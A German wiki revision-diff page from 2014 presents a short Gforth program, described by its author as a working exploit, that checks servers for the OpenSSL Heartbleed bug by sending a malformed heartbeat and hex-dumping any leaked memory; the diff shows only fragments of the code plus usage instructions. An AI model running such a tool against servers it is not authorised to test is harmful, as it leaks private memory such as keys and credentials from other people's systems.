Benutzer-Werkzeuge

Webseiten-Werkzeuge


examples:heartbleed

Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

Link zu dieser Vergleichsansicht

Nächste Überarbeitung
Vorhergehende Überarbeitung
Nächste ÜberarbeitungBeide Seiten der Revision
examples:heartbleed [2014-04-11 17:35] – angelegt berndexamples:heartbleed [2014-04-11 18:28] – Polling unnötig bernd
Zeile 1: Zeile 1:
 ====== Heartbleed Check ====== ====== Heartbleed Check ======
  
-Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!):+Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth ([[http://www.complang.tuwien.ac.at/forth/gforth/Snapshots/|snapshot]]), und dann mit 
 + 
 +<code> 
 +gforth heartbleed.fs <host> [<port>
 +</code> 
 + 
 +starten.  Wenn ein länglicher Hexdump kommt, ist das die Heartbleed-Antwort.
  
 <code Forth> <code Forth>
Zeile 34: Zeile 40:
     s" /dev/urandom" r/o open-file throw >r     s" /dev/urandom" r/o open-file throw >r
     random32 4 + 28 r@ read-file throw drop r> close-file throw ;     random32 4 + 28 r@ read-file throw drop r> close-file throw ;
- 
-Create pollfds pollfd %size allot 
  
 Variable buggy? Variable buggy?
  
-: get-heartbleed ( addr u port -- ) +: get-heartbleed ( addr u port -- )  >r 2dup r>  buggy? off 
-    1000000 set-socket-timeout +    1000000 set-socket-timeout  >random 
-    >random +    open-socket >r
-    open-socket >r  r@ fileno pollfds fd l!  POLLIN pollfds events w!+
     TLS-header header# r@ write-socket     TLS-header header# r@ write-socket
     BEGIN  r@ pad $10000 read-socket nip 0=  UNTIL     BEGIN  r@ pad $10000 read-socket nip 0=  UNTIL
     TLS-heartbleed heartbleed# r@ write-socket     TLS-heartbleed heartbleed# r@ write-socket
-    BEGIN  r@ pad $10000 read-socket dup  WHILE  dump buggy? on  REPEAT  2drop+    BEGIN  r@ pad $10000 read-socket 
 + over c@ $18 = buggy? @ or \ heartbeet reply 
 + over 0<> and 
 +    WHILE  dump buggy? on  REPEAT  2drop
     r> close-socket     r> close-socket
-    buggy? @  IF  ." Heartbleed deteckted ELSE  ." Everything ok"  THEN  cr ;+    type buggy? @  IF  ." Heartbleed detected ELSE  ." Everything ok"  THEN  cr ;
  
 script? [IF] script? [IF]
examples/heartbleed.txt · Zuletzt geändert: 2014-04-11 22:00 von bernd